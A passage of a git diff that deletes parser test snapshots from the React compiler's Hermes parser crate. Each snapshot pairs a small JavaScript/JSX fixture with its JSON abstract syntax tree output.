-                        73
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      60,
-                      73
-                    ]
-                  }
-                ],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  48,
-                  74
-                ]
-              },
-              "children": [],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "MessageBox",
-                  "loc": null,
-                  "range": [
-                    76,
-                    86
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  74,
-                  87
-                ]
-              },
-              "loc": null,
-              "range": [
-                48,
-                87
-              ]
-            },
-            "generator": true,
-            "async": false,
-            "loc": null,
-            "range": [
-              29,
-              87
-            ],
-            "expression": true,
-            "loc": null,
-            "range": [
-              29,
-              87
-            ]
-          },
-          "loc": null,
-          "range": [
-            17,
-            87
-          ]
-        }
-      ],
-      "loc": null,
-      "range": [
-        11,
-        88
-      ]
-    },
-    {
-      "type": "ExportNamedDeclaration",
-      "declaration": {
-        "type": "VariableDeclaration",
-        "kind": "const",
-        "declarations": [
-          {
-            "type": "VariableDeclarator",
-            "id": {
-              "type": "Identifier",
-              "name": "Renderer",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                103,
-                111
-              ]
-            },
-            "init": {
-              "type": "ArrowFunctionExpression",
-              "id": null,
-              "params": [
-                {
-                  "type": "Identifier",
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    115,
-                    120
-                  ]
-                }
-              ],
-              "body": {
-                "type": "JSXElement",
-                "openingElement": {
-                  "type": "JSXOpeningElement",
-                  "name": {
-                    "type": "JSXIdentifier",
-                    "name": "Foo",
-                    "loc": null,
-                    "range": [
-                      130,
-                      133
-                    ]
-                  },
-                  "attributes": [],
-                  "selfClosing": false,
-                  "loc": null,
-                  "range": [
-                    129,
-                    134
-                  ]
-                },
-                "children": [
-                  {
-                    "type": "JSXText",
-                    "value": "\n    ",
-                    "raw": "\n    ",
-                    "loc": null,
-                    "range": [
-                      134,
-                      139
-                    ]
-                  },
-                  {
-                    "type": "JSXElement",
-                    "openingElement": {
-                      "type": "JSXOpeningElement",
-                      "name": {
-                        "type": "JSXIdentifier",
-                        "name": "Bar",
-                        "loc": null,
-                        "range": [
-                          140,
-                          143
-                        ]
-                      },
-                      "attributes": [],
-                      "selfClosing": false,
-                      "loc": null,
-                      "range": [
-                        139,
-                        144
-                      ]
-                    },
-                    "children": [],
-                    "closingElement": {
-                      "type": "JSXClosingElement",
-                      "name": {
-                        "type": "JSXIdentifier",
-                        "name": "Bar",
-                        "loc": null,
-                        "range": [
-                          146,
-                          149
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        144,
-                        150
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      139,
-                      150
-                    ]
-                  },
-                  {
-                    "type": "JSXText",
-                    "value": "\n    ",
-                    "raw": "\n    ",
-                    "loc": null,
-                    "range": [
-                      150,
-                      155
-                    ]
-                  },
-                  {
-                    "type": "JSXElement",
-                    "openingElement": {
-                      "type": "JSXOpeningElement",
-                      "name": {
-                        "type": "JSXIdentifier",
-                        "name": "ErrorView",
-                        "loc": null,
-                        "range": [
-                          156,
-                          165
-                        ]
-                      },
-                      "attributes": [],
-                      "selfClosing": false,
-                      "loc": null,
-                      "range": [
-                        155,
-                        166
-                      ]
-                    },
-                    "children": [],
-                    "closingElement": {
-                      "type": "JSXClosingElement",
-                      "name": {
-                        "type": "JSXIdentifier",
-                        "name": "ErrorView",
-                        "loc": null,
-                        "range": [
-                          168,
-                          177
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        166,
-                        178
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      155,
-                      178
-                    ]
-                  },
-                  {
-                    "type": "JSXText",
-                    "value": "\n  ",
-                    "raw": "\n  ",
-                    "loc": null,
-                    "range": [
-                      178,
-                      181
-                    ]
-                  }
-                ],
-                "closingElement": {
-                  "type": "JSXClosingElement",
-                  "name": {
-                    "type": "JSXIdentifier",
-                    "name": "Foo",
-                    "loc": null,
-                    "range": [
-                      183,
-                      186
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    181,
-                    187
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  129,
-                  187
-                ]
-              },
-              "generator": true,
-              "async": false,
-              "loc": null,
-              "range": [
-                114,
-                189
-              ],
-              "expression": true,
-              "loc": null,
-              "range": [
-                114,
-                189
-              ]
-            },
-            "loc": null,
-            "range": [
-              103,
-              189
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          97,
-          190
-        ]
-      },
-      "specifiers": [],
-      "source": null,
-      "loc": null,
-      "range": [
-        90,
-        190
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    11,
-    190
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@multi-arrow-expr-gating-test.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@multi-arrow-expr-gating-test.js.snap
deleted file mode 100644
index f14d2d0cfa8a..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@multi-arrow-expr-gating-test.js.snap
+++ /dev/null
@@ -1,422 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/multi-arrow-expr-gating-test.js
----
-Input:
-// @gating
-const ErrorView = (error, _retry) => <MessageBox error={error}></MessageBox>;
-
-const Renderer = (props) => (
-  <Foo>
-    <Bar></Bar>
-    <ErrorView></ErrorView>
-  </Foo>
-);
-
-export default Renderer;
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "VariableDeclaration",
-      "kind": "const",
-      "declarations": [
-        {
-          "type": "VariableDeclarator",
-          "id": {
-            "type": "Identifier",
-            "name": "ErrorView",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              17,
-              26
-            ]
-          },
-          "init": {
-            "type": "ArrowFunctionExpression",
-            "id": null,
-            "params": [
-              {
-                "type": "Identifier",
-                "name": "error",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  30,
-                  35
-                ]
-              },
-              {
-                "type": "Identifier",
-                "name": "_retry",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  37,
-                  43
-                ]
-              }
-            ],
-            "body": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "MessageBox",
-                  "loc": null,
-                  "range": [
-                    49,
-                    59
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "error",
-                      "loc": null,
-                      "range": [
-                        60,
-                        65
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "error",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          67,
-                          72
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        66,
-                        73
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      60,
-                      73
-                    ]
-                  }
-                ],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  48,
-                  74
-                ]
-              },
-              "children": [],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "MessageBox",
-                  "loc": null,
-                  "range": [
-                    76,
-                    86
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  74,
-                  87
-                ]
-              },
-              "loc": null,
-              "range": [
-                48,
-                87
-              ]
-            },
-            "generator": true,
-            "async": false,
-            "loc": null,
-            "range": [
-              29,
-              87
-            ],
-            "expression": true,
-            "loc": null,
-            "range": [
-              29,
-              87
-            ]
-          },
-          "loc": null,
-          "range": [
-            17,
-            87
-          ]
-        }
-      ],
-      "loc": null,
-      "range": [
-        11,
-        88
-      ]
-    },
-    {
-      "type": "VariableDeclaration",
-      "kind": "const",
-      "declarations": [
-        {
-          "type": "VariableDeclarator",
-          "id": {
-            "type": "Identifier",
-            "name": "Renderer",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              96,
-              104
-            ]
-          },
-          "init": {
-            "type": "ArrowFunctionExpression",
-            "id": null,
-            "params": [
-              {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  108,
-                  113
-                ]
-              }
-            ],
-            "body": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Foo",
-                  "loc": null,
-                  "range": [
-                    123,
-                    126
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  122,
-                  127
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXText",
-                  "value": "\n    ",
-                  "raw": "\n    ",
-                  "loc": null,
-                  "range": [
-                    127,
-                    132
-                  ]
-                },
-                {
-                  "type": "JSXElement",
-                  "openingElement": {
-                    "type": "JSXOpeningElement",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "Bar",
-                      "loc": null,
-                      "range": [
-                        133,
-                        136
-                      ]
-                    },
-                    "attributes": [],
-                    "selfClosing": false,
-                    "loc": null,
-                    "range": [
-                      132,
-                      137
-                    ]
-                  },
-                  "children": [],
-                  "closingElement": {
-                    "type": "JSXClosingElement",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "Bar",
-                      "loc": null,
-                      "range": [
-                        139,
-                        142
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      137,
-                      143
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    132,
-                    143
-                  ]
-                },
-                {
-                  "type": "JSXText",
-                  "value": "\n    ",
-                  "raw": "\n    ",
-                  "loc": null,
-                  "range": [
-                    143,
-                    148
-                  ]
-                },
-                {
-                  "type": "JSXElement",
-                  "openingElement": {
-                    "type": "JSXOpeningElement",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "ErrorView",
-                      "loc": null,
-                      "range": [
-                        149,
-                        158
-                      ]
-                    },
-                    "attributes": [],
-                    "selfClosing": false,
-                    "loc": null,
-                    "range": [
-                      148,
-                      159
-                    ]
-                  },
-                  "children": [],
-                  "closingElement": {
-                    "type": "JSXClosingElement",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "ErrorView",
-                      "loc": null,
-                      "range": [
-                        161,
-                        170
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      159,
-                      171
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    148,
-                    171
-                  ]
-                },
-                {
-                  "type": "JSXText",
-                  "value": "\n  ",
-                  "raw": "\n  ",
-                  "loc": null,
-                  "range": [
-                    171,
-                    174
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Foo",
-                  "loc": null,
-                  "range": [
-                    176,
-                    179
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  174,
-                  180
-                ]
-              },
-              "loc": null,
-              "range": [
-                122,
-                180
-              ]
-            },
-            "generator": true,
-            "async": false,
-            "loc": null,
-            "range": [
-              107,
-              182
-            ],
-            "expression": true,
-            "loc": null,
-            "range": [
-              107,
-              182
-            ]
-          },
-          "loc": null,
-          "range": [
-            96,
-            182
-          ]
-        }
-      ],
-      "loc": null,
-      "range": [
-        90,
-        183
-      ]
-    },
-    {
-      "type": "ExportDefaultDeclaration",
-      "declaration": {
-        "type": "Identifier",
-        "name": "Renderer",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          200,
-          208
-        ]
-      },
-      "loc": null,
-      "range": [
-        185,
-        209
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    11,
-    209
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@mutable-lifetime-loops.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@mutable-lifetime-loops.js.snap
deleted file mode 100644
index aedf3311b2ff..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@mutable-lifetime-loops.js.snap
+++ /dev/null
@@ -1,839 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/mutable-lifetime-loops.js
----
-Input:
-function mutate(x, y) {}
-function cond(x) {}
-
-function Component(props) {
-  let a = {};
-  let b = {};
-  let c = {};
-  let d = {};
-  while (true) {
-    let z = a;
-    a = b;
-    b = c;
-    c = d;
-    d = z;
-    mutate(a, b);
-    if (cond(a)) {
-      break;
-    }
-  }
-
-  // all of these tests are seemingly readonly, since the values are never directly
-  // mutated again. but they are all aliased by `d`, which is later modified, and
-  // these are therefore mutable references:
-  if (a) {
-  }
-  if (b) {
-  }
-  if (c) {
-  }
-  if (d) {
-  }
-
-  mutate(d, null);
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "mutate",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          15
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "x",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "y",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          22,
-          24
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        24
-      ],
-      "loc": null,
-      "range": [
-        0,
-        24
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "cond",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          34,
-          38
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "x",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            39,
-            40
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          42,
-          44
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        25,
-        44
-      ],
-      "loc": null,
-      "range": [
-        25,
-        44
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          55,
-          64
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            65,
-            70
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    80,
-                    81
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    84,
-                    86
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  80,
-                  86
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              76,
-              87
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    94,
-                    95
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    98,
-                    100
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  94,
-                  100
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              90,
-              101
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    108,
-                    109
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    112,
-                    114
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  108,
-                  114
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              104,
-              115
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "d",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    122,
-                    123
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    126,
-                    128
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  122,
-                  128
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              118,
-              129
-            ]
-          },
-          {
-            "type": "WhileStatement",
-            "test": {
-              "type": "BooleanLiteral",
-              "value": true,
-              "loc": null,
-              "range": [
-                139,
-                143
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "VariableDeclaration",
-                  "kind": "let",
-                  "declarations": [
-                    {
-                      "type": "VariableDeclarator",
-                      "id": {
-                        "type": "Identifier",
-                        "name": "z",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          155,
-                          156
-                        ]
-                      },
-                      "init": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          159,
-                          160
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        155,
-                        160
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    151,
-                    161
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        166,
-                        167
-                      ]
-                    },
-                    "right": {
-                      "type": "Identifier",
-                      "name": "b",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        170,
-                        171
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      166,
-                      171
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    166,
-                    172
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "b",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        177,
-                        178
-                      ]
-                    },
-                    "right": {
-                      "type": "Identifier",
-                      "name": "c",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        181,
-                        182
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      177,
-                      182
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    177,
-                    183
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "c",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        188,
-                        189
-                      ]
-                    },
-                    "right": {
-                      "type": "Identifier",
-                      "name": "d",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        192,
-                        193
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      188,
-                      193
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    188,
-                    194
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "d",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        199,
-                        200
-                      ]
-                    },
-                    "right": {
-                      "type": "Identifier",
-                      "name": "z",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        203,
-                        204
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      199,
-                      204
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    199,
-                    205
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "Identifier",
-                      "name": "mutate",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        210,
-                        216
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          217,
-                          218
-                        ]
-                      },
-                      {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          220,
-                          221
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      210,
-                      222
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    210,
-                    223
-                  ]
-                },
-                {
-                  "type": "IfStatement",
-                  "test": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "Identifier",
-                      "name": "cond",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        232,
-                        236
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          237,
-                          238
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      232,
-                      239
-                    ]
-                  },
-                  "consequent": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "BreakStatement",
-                        "label": null,
-                        "loc": null,
-                        "range": [
-                          249,
-                          255
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      241,
-                      261
-                    ]
-                  },
-                  "alternate": null,
-                  "loc": null,
-                  "range": [
-                    228,
-                    261
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                145,
-                265
-              ]
-            },
-            "loc": null,
-            "range": [
-              132,
-              265
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                484,
-                485
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [],
-              "loc": null,
-              "range": [
-                487,
-                492
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              480,
-              492
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "b",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                499,
-                500
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [],
-              "loc": null,
-              "range": [
-                502,
-                507
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              495,
-              507
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "c",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                514,
-                515
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [],
-              "loc": null,
-              "range": [
-                517,
-                522
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              510,
-              522
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "d",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                529,
-                530
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [],
-              "loc": null,
-              "range": [
-                532,
-                537
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              525,
-              537
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  541,
-                  547
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "d",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    548,
-                    549
-                  ]
-                },
-                {
-                  "type": "NullLiteral",
-                  "loc": null,
-                  "range": [
-                    551,
-                    555
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                541,
-                556
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              541,
-              557
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          72,
-          559
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        46,
-        559
-      ],
-      "loc": null,
-      "range": [
-        46,
-        559
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    559
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@mutable-lifetime-with-aliasing.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@mutable-lifetime-with-aliasing.js.snap
deleted file mode 100644
index 139e7d7fe565..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@mutable-lifetime-with-aliasing.js.snap
+++ /dev/null
@@ -1,700 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/mutable-lifetime-with-aliasing.js
----
-Input:
-function mutate(x, y) {}
-
-function Component(props) {
-  const a = {};
-  const b = [a]; // array elements alias
-  const c = {};
-  const d = { c }; // object values alias
-
-  // capture all the values into this object
-  const x = {};
-  x.b = b;
-  const y = mutate(x, d); // mutation aliases the arg and return value
-
-  // all of these tests are seemingly readonly, since the values are never directly
-  // mutated again. but they are all aliased by `x`, which is later modified, and
-  // these are therefore mutable references:
-  if (a) {
-  }
-  if (b) {
-  }
-  if (c) {
-  }
-  if (d) {
-  }
-  if (y) {
-  }
-
-  // could in theory mutate any of a/b/c/x/z, so the above should be inferred as mutable
-  mutate(x, null);
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "mutate",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          15
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "x",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "y",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          22,
-          24
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        24
-      ],
-      "loc": null,
-      "range": [
-        0,
-        24
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          35,
-          44
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            45,
-            50
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    62,
-                    63
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    66,
-                    68
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  62,
-                  68
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              56,
-              69
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    78,
-                    79
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        83,
-                        84
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    82,
-                    85
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  78,
-                  85
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              72,
-              86
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    119,
-                    120
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    123,
-                    125
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  119,
-                  125
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
